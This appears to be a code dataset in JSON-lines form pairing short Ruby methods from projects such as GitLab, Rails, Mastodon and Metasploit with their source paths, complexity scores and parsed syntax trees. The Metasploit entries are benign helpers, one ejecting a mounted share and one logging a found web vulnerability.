{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20241210140838_add_not_null_to_account_pin_account_columns.rb","start_line":17,"raw_source":"def down\n    safety_assured do\n      change_column_null :account_pins, :account_id, true\n      change_column_null :account_pins, :target_account_id, true\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_column_null\",{\"type\":\"sym\",\"children\":[\"account_pins\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"change_column_null\",{\"type\":\"sym\",\"children\":[\"account_pins\"]},{\"type\":\"sym\",\"children\":[\"target_account_id\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"72af89e1-279c-43fa-886c-7da3212a4257"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/google_cloud/base_controller.rb","start_line":52,"raw_source":"def expires_at_in_session\n    session[GoogleApi::CloudPlatform::Client.session_key_for_expires_at]\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expires_at_in_session\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GoogleApi\"]},\"CloudPlatform\"]},\"Client\"]},\"session_key_for_expires_at\"]}]}]}","id":"b6d7f101-3549-497e-aac9-5ee74d60d640"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20190415194929_create_organization_memberships.rb","start_line":2,"raw_source":"def change\n    create_table :organization_memberships do |t|\n      t.bigint :user_id, null: false\n      t.bigint :organization_id, null: false\n      t.string :user_title\n      t.string :type_of_user, null: false\n      t.timestamps null: false\n    end\n\n    add_index :organization_memberships, %i[user_id organization_id], unique: true\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"organization_memberships\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"user_title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"type_of_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"organization_memberships\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"aba62642-ec54-4fda-b6e4-b00657dc8e87"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/attachment.rb","start_line":103,"raw_source":"def file_metadata\n    metadata = {\n      extension: extension,\n      data_url: file_url,\n      thumb_url: thumb_url,\n      file_size: file.byte_size,\n      width: file.metadata[:width],\n      height: file.metadata[:height]\n    }\n\n    metadata[:data_url] = metadata[:thumb_url] = external_url if message.inbox.instagram? && message.incoming?\n    metadata\n  end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"file_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metadata\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extension\"]},{\"type\":\"send\",\"children\":[null,\"extension\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_url\"]},{\"type\":\"send\",\"children\":[null,\"file_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thumb_url\"]},{\"type\":\"send\",\"children\":[null,\"thumb_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"byte_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"width\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"height\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"inbox\"]},\"instagram?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"incoming?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"data_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"thumb_url\"]},{\"type\":\"send\",\"children\":[null,\"external_url\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"metadata\"]}]}]}","id":"3bdbbc45-8b80-4382-b2d8-f71bb44cb33d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/manage/mount_share.rb","start_line":198,"raw_source":"def umount\n    share_name = datastore['VOLUME']\n    print_status(\"Disconnecting from #{share_name}\")\n    cmd_exec(\"#{osascript_path} -e 'tell app \\\"finder\\\" to eject \\\"#{share_name}\\\"'\")\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"umount\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"share_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VOLUME\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Disconnecting from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"osascript_path\"]}]},{\"type\":\"str\",\"children\":[\" -e 'tell app \\\"finder\\\" to eject \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"'\"]}]}]}]}]}","id":"a65ca153-f108-4538-b139-38135abf9d4b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/lfs_pointers/lfs_download_service.rb","start_line":51,"raw_source":"def find_or_create_lfs_object(tmp_file)\n        lfs_obj = LfsObject.safe_find_or_create_by!(\n          oid: lfs_oid,\n          size: lfs_size\n        )\n\n        lfs_obj.update!(file: tmp_file) unless lfs_obj.file.file\n\n        lfs_obj\n      end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_lfs_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tmp_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lfs_obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsObject\"]},\"safe_find_or_create_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oid\"]},{\"type\":\"send\",\"children\":[null,\"lfs_oid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[null,\"lfs_size\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lfs_obj\"]},\"file\"]},\"file\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lfs_obj\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"tmp_file\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"lfs_obj\"]}]}]}","id":"2c162335-3d70-44db-a744-b6426106b452"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/web.rb","start_line":186,"raw_source":"def log_resource(opts = {})\n      mode  = name\n      vhash = [target.to_url, mode, opts[:location]]\n              .map(&:to_s).join('|').hash\n\n      parent.vulns[mode] ||= {}\n      return if parent.vulns[mode].include?(vhash)\n\n      location = URI(opts[:location].to_s)\n      info = {\n        web_site: target.site,\n        path: location.path,\n        query: location.query,\n        method: 'GET',\n        params: [],\n        pname: 'path',\n        proof: opts[:location],\n        risk: details[:risk],\n        name: details[:name],\n        blame: details[:blame],\n        category: details[:category],\n        description: details[:description],\n        owner: self\n      }\n\n      info[:confidence] = calculate_confidence(info)\n      parent.vulns[mode][vhash] = info\n\n      report_web_vuln(info)\n\n      print_good \"\tVULNERABLE(#{mode}) URL(#{target.to_url})\"\n      print_good \"\t\t PROOF(#{opts[:location]})\"\n    end","complexity_score":57.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_resource\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mode\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"vhash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"to_url\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"location\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"hash\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"vulns\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mode\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"vulns\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mode\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"vhash\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"location\"]}]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"web_site\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"site\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pname\"]},{\"type\":\"str\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"location\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"risk\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blame\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"send\",\"children\":[null,\"calculate_confidence\",{\"type\":\"lvar\",\"children\":[\"info\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"vulns\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mode\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"vhash\"]},{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"send\",\"children\":[null,\"report_web_vuln\",{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tVULNERABLE(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]}]},{\"type\":\"str\",\"children\":[\") URL(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"to_url\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\\t PROOF(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"location\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"60cedd22-5af2-49a2-ab1b-3f2b2ab7ae8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/group/group_members_spec.rb","start_line":252,"raw_source":"def expect_array_response(*items)\n    expect(response).to have_gitlab_http_status(:success)\n    members = graphql_data_at(:group, :group_members, :edges, :node, :user)\n\n    expect(members).to match_array(items.map { |u| a_graphql_entity_for(u) })\n  end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_array_response\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"response\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_gitlab_http_status\",{\"type\":\"sym\",\"children\":[\"success\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"send\",\"children\":[null,\"graphql_data_at\",{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"sym\",\"children\":[\"group_members\"]},{\"type\":\"sym\",\"children\":[\"edges\"]},{\"type\":\"sym\",\"children\":[\"node\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"members\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"match_array\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[null,\"a_graphql_entity_for\",{\"type\":\"lvar\",\"children\":[\"u\"]}]}]}]}]}]}]}","id":"7744a4f5-0efa-4e12-b1f5-4eaca9ecfb57"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1644,"raw_source":"def test_assert_no_performed_jobs_with_only_and_except_option_as_array\n      error = assert_raise ArgumentError do\n        assert_no_performed_jobs only: [HelloJob, RescueJob], except: [HelloJob, RescueJob] do\n          LoggingJob.perform_later\n        end\n      end\n\n      assert_match(/`:only` and `:except`/, error.message)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_performed_jobs_with_only_and_except_option_as_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_performed_jobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},{\"type\":\"const\",\"children\":[null,\"RescueJob\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},{\"type\":\"const\",\"children\":[null,\"RescueJob\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_later\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"`:only` and `:except`\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"4bb4492c-d411-40c4-95ed-ac3f8f0d3bfb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/hstore_test.rb","start_line":353,"raw_source":"def assert_array_cycle(array)\n      # test creation\n      x = Hstore.create!(payload: array)\n      x.reload\n      assert_equal(array, x.payload)\n\n      # test updating\n      x = Hstore.create!(payload: [])\n      x.payload = array\n      x.save!\n      x.reload\n      assert_equal(array, x.payload)\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_array_cycle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hstore\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"array\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"array\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hstore\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"payload=\",{\"type\":\"lvar\",\"children\":[\"array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"array\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"payload\"]}]}]}]}","id":"0cc5b5d2-5384-49cb-b5ca-bc985b87beb1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data_counters/redis_counter.rb","start_line":89,"raw_source":"def batch_key_count\n        Thread.current[:redis_counter_batch_key_count] ||= Hash.new(0)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_key_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"redis_counter_batch_key_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"57284c4f-2a21-4a23-856a-54ee1c9ecdb3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":837,"raw_source":"def execute_hooks\n      return unless project\n      return if user&.blocked?\n\n      return unless project.has_active_hooks?(:job_hooks) || project.has_active_integrations?(:job_hooks)\n\n      Ci::ExecuteBuildHooksWorker.perform_async(project.id, build_data)\n    end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_hooks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"blocked?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"has_active_hooks?\",{\"type\":\"sym\",\"children\":[\"job_hooks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"has_active_integrations?\",{\"type\":\"sym\",\"children\":[\"job_hooks\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"ExecuteBuildHooksWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[null,\"build_data\"]}]}]}]}","id":"ab527833-e6e1-451d-adad-5606d7c07dfd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/container_repository/cleanup_tags_service.rb","start_line":42,"raw_source":"def valid_regex?\n        %w[name_regex_delete name_regex name_regex_keep].each do |param_name|\n          regex = params[param_name]\n          ::Gitlab::UntrustedRegexp.new(regex) unless regex.blank?\n        end\n        true\n      rescue RegexpError => e\n        ::Gitlab::ErrorTracking.log_exception(e, project_id: project.id)\n        false\n      end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_regex?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name_regex_delete\"]},{\"type\":\"str\",\"children\":[\"name_regex\"]},{\"type\":\"str\",\"children\":[\"name_regex_keep\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"param_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regex\"]},\"blank?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"UntrustedRegexp\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RegexpError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ErrorTracking\"]},\"log_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"9d74cc1e-ed88-4495-a0e6-68aed9c83fb1"}
